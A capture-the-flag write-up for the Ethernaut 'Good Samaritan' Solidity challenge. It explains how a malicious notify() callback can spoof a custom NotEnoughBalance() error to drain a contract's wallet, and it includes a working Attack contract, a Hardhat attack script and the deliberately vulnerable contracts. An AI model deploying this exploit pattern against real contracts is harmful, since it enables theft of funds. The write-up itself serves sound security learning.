Here we have a “Good Samaritan” contract that holds 10^6 “Coins” in a “Wallet”. Any account can call Good Samaritan’s requestDonation() function to receive 10 coins. The challenge is to somehow siphon off of 1 million coins in a single attempt using Wallet’s transferRemainder() function.
As I was reading through the code, the first thing that struck out was the external call inside Coin’s transfer() function:
INotifyable(dest_).notify(amount_);
External function calls always have a potential of causing trouble and I had a strong feeling this is going to play an important role in the solution. The second major clue is provided in the challenge description: Solidity Custom Errors. Long story short, Solidity’s try/catch block receives a function selector inside the catch() when triggered by an error condition. The requestDonation() function contains a call to wallet.transferRemainder() inside its catch block. If we can somehow force our way inside the catch block, we might have a chance to steal all the coins from the Good Samaritan contract.
function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
The way to get inside catch() will be to throw an exception from inside wallet.donate10() function. donate10() calls coin.transfer() which in turn calls the notify() on the external account (dest_). Our goal is to have a malicious contract containing notify() as this external account. Now, what should we have inside this notify()? If we see inside requestDonation() it contains a check to make sure that “err” has the same function selector as NotEnoughBalance() which is a custom error. At this point it occurred to me, what if I can return NotEnoughBalance() from an external contract? So I wrote an Attack contract that throws a NotEnoughBalance() from inside a notify() function. However, I also had to add a check for (amount == 10) as this method gets called twice: once when amount = 10 and next time when amount = 10^6. We want to make sure Attack.notify() only reverts the first time (amount = 10) and simply returns on the second time (amount = 1000000). This seemed to do the trick and our attack contract was able to steal all the coins.
// Attack.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import "hardhat/console.sol";
contract Attack
{
error NotEnoughBalance();
address public goodSamaritan;
constructor (address _goodSamaritan)
{
goodSamaritan = _goodSamaritan;
}
function hack() public
{
goodSamaritan.call(abi.encodeWithSignature("requestDonation()"));
}
function notify(uint256 amount) external
{
if(amount == 10)
{
revert NotEnoughBalance();
}
}
}
// Solution.js
const { expect } = require("chai");
const { Wallet } = require("ethers");
const { ethers, network } = require("hardhat");
describe("GoodSamaritan.sol", () => {
describe("Test run", () => {
it("should run fine", async() => {
// This is the address Ethernaut's console provided
const goodSamaritanAddress = "0xCad7FC218F2f39cDbc94924a549f7bb969A49D4f";
// Get the hacker's address
const [owner, hacker] = await ethers.getSigners();
// Lets read slot 0 of GoodSamaritan to find the address of Wallet contract
var walletAddress = await ethers.provider.getStorageAt(goodSamaritanAddress, 0)
walletAddress = ethers.utils.hexStripZeros(walletAddress)
console.log("Wallet's address: ", walletAddress)
// Lets read slot 1 of GoodSamaritan to find the address of Coin contract
var coinAddress = await ethers.provider.getStorageAt(goodSamaritanAddress, 1)
coinAddress = ethers.utils.hexStripZeros(coinAddress)
console.log("Coin's address: ", coinAddress)
// Read Wallet's balance before the hack
const coinContract = await ethers.getContractFactory("Coin")
var balance = await coinContract.connect(hacker).attach(coinAddress).balances(walletAddress)
console.log("Wallet's balance is: ", balance)
// Deploy our Attack contract
const attackContract = await ethers.getContractFactory("Attack")
const attack = await attackContract.connect(hacker).deploy(goodSamaritanAddress)
await attack.deployed()
console.log("Attack contract address: ", attack.address)
// Launch the attack, provide a lot of gas
await attack.connect(hacker).hack({gasLimit: 5000000});
// Lets read wallet's balance again after attack
balance = await coinContract.connect(hacker).attach(coinAddress).balances(walletAddress)
console.log("Wallet's balance is: ", balance)
// And let's read Attacker's balance after attack
balance = await coinContract.connect(hacker).attach(coinAddress).balances(attack.address)
console.log("Attackers's balance is: ", balance)
});
});
});
// GoodSamaritan.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import "@openzeppelin/contracts/utils/Address.sol";
contract GoodSamaritan {
Wallet public wallet;
Coin public coin;
constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));
wallet.setCoin(coin);
}
function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}
contract Coin {
using Address for address;
mapping(address => uint256) public balances;
error InsufficientBalance(uint256 current, uint256 required);
constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10**6;
}
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}
contract Wallet {
// The owner of the wallet instance
address public owner;
Coin public coin;
error OnlyOwner();
error NotEnoughBalance();
modifier onlyOwner() {
if(msg.sender != owner) {
revert OnlyOwner();
}
_;
}
constructor() {
owner = msg.sender;
}
function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}
function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}
function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}
interface INotifyable {
function notify(uint256 amount) external;
}